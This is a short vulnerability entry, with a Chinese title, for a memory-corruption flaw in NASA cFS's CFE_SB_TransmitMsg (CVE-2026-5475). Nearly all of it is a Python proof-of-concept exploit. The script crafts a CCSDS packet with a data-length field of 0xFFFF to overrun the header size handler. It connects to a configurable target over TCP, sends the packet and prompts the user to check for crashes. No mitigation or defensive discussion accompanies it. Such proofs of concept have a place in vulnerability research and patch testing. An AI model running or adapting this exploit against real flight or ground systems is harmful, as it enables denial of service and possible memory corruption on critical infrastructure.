NASA cFS CFE_SB_TransmitMsg内存损坏漏洞 (CVE-2026-5475)

import socket import struct # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 1234 # Example port for cFS SB interface def craft_malicious_cfs_packet(): """ Crafts a malformed CCSDS header to trigger the memory corruption in CFE_SB_TransmitMsg within the CCSDS Header Size Handler. """ # CCSDS Primary Header structure (simplified) # Version (3 bits), Type (1 bit), Data Field Header (1 bit), App ID (11 bits) # Sequence Flags (2 bits), Sequence Count (14 bits) # Data Length (16 bits) # Normal header construction version = 0 type_flag = 0 dfh_flag = 1 app_id = 100 seq_flags = 3 seq_count = 0 # Malformed logic: Set an unexpected size to trigger the vulnerability # Exploiting the lack of bounds checking in the Size Handler malicious_data_length = 0xFFFF header = (version << 29) | (type_flag << 28) | (dfh_flag << 27) | (app_id << 16) header |= (seq_flags << 14) | seq_count # Pack the header and the malicious length packet = struct.pack("!I", header) packet += struct.pack("!H", malicious_data_length) # Add payload to fill the buffer payload = b"A" * 10 packet += payload return packet def send_exploit(): try: # Create a socket connection to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Sending malicious packet to {TARGET_IP}:{TARGET_PORT}") malicious_packet = craft_malicious_cfs_packet() s.send(malicious_packet) print("[+] Packet sent successfully. Check for crashes.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()